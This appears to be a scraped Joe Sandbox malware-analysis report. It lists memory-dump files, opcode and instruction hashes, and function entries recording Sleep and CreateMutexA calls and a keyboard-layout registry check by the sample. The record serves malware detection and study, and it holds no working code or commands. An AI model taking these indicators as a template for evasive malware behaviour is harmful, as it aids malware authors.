Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 7b98ba464aeee062e4e7c4ca3e49309eea3982e7854162740c4255c7c5eb4029
Instruction ID: 921f36c301f5dc61f0dfab86fbe33baeac512dbc31af931b30c9c94874a755fe
Opcode Fuzzy Hash: 7b98ba464aeee062e4e7c4ca3e49309eea3982e7854162740c4255c7c5eb4029
Instruction Fuzzy Hash: E2F1E071A0024C9BEB24DF54CD85BEEBBB9EF44304F5046A8F508A72C1DB759A84CF95

Function 00EB9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108825547.0000000000F1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108841813.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108975368.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108992673.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.000000000109B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109043429.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109056909.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109070669.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109085283.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109101813.00000000010B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109121929.00000000010B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109138113.00000000010BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109152636.00000000010BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109166889.00000000010BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109182260.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109204520.00000000010E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109224692.00000000010F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109243542.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109263138.0000000001112000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 39e7c9aeae90d95dfb68b001642145d49ba78b29887b999fd28138c32c7e1e53
Instruction ID: b6ffb1df6aa1777ec0fe7dd2d4de41d6f2ac829d5dc774dd84e215bc7ff3362f
Opcode Fuzzy Hash: 39e7c9aeae90d95dfb68b001642145d49ba78b29887b999fd28138c32c7e1e53
Instruction Fuzzy Hash: 7F3109717052049BEB08DB78EDC9BEEBA62EFC5310F249628E114BB3D6C77649818A51

Function 00EB9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108825547.0000000000F1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108841813.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108975368.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108992673.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.000000000109B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109043429.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109056909.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109070669.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109085283.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109101813.00000000010B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109121929.00000000010B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109138113.00000000010BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109152636.00000000010BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109166889.00000000010BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109182260.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109204520.00000000010E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109224692.00000000010F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109243542.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109263138.0000000001112000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 395ea9ed37c806daa8540500338977cd9e836a83e08f0a9d1e3b9f91ff8e3554
Instruction ID: d84cd671216cd507463f216916f7a66806d01cca1b894b5230b0f96de285236d
Opcode Fuzzy Hash: 395ea9ed37c806daa8540500338977cd9e836a83e08f0a9d1e3b9f91ff8e3554
Instruction Fuzzy Hash: D13128717142049BEF18AB78DD89BEEB762EFC5310F249628E114FB2D1C77689818752

Function 00EBA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108825547.0000000000F1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108841813.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108975368.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108992673.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.000000000109B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109043429.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109056909.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109070669.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109085283.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109101813.00000000010B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109121929.00000000010B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109138113.00000000010BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109152636.00000000010BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109166889.00000000010BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109182260.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109204520.00000000010E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109224692.00000000010F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109243542.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109263138.0000000001112000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2ab16ad732875e0298720c0ea00077d47517503f2d36a49aa5b59aa1796e9095
Instruction ID: 294a1aa4e97bf8b7bf7b28930b7e70d64734e8aedd9908c83b198a0d70e5ed01
Opcode Fuzzy Hash: 2ab16ad732875e0298720c0ea00077d47517503f2d36a49aa5b59aa1796e9095
Instruction Fuzzy Hash: E63125717112009BEF18ABBCDD89BDEB762EBC1310F289228E014BB3D1C77689818652

Function 00EBA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108825547.0000000000F1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108841813.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108975368.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108992673.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.000000000109B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109043429.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109056909.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109070669.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109085283.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109101813.00000000010B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109121929.00000000010B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109138113.00000000010BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109152636.00000000010BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109166889.00000000010BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109182260.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109204520.00000000010E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109224692.00000000010F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109243542.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109263138.0000000001112000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8189460abbb9fe2ddc9502ea53deb57a2fd3e068711bf4dd78a0e0c45d4b508e
Instruction ID: d4ea1bbfb8c6707ecffc27f0d5c4d7eba500f814d17bd3c28e29476c08794c49
Opcode Fuzzy Hash: 8189460abbb9fe2ddc9502ea53deb57a2fd3e068711bf4dd78a0e0c45d4b508e
Instruction Fuzzy Hash: 753127717052409BEF089BBCDD89BDEB762EFC5310F289628E014BB3D1D77689819652

Function 00EBA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
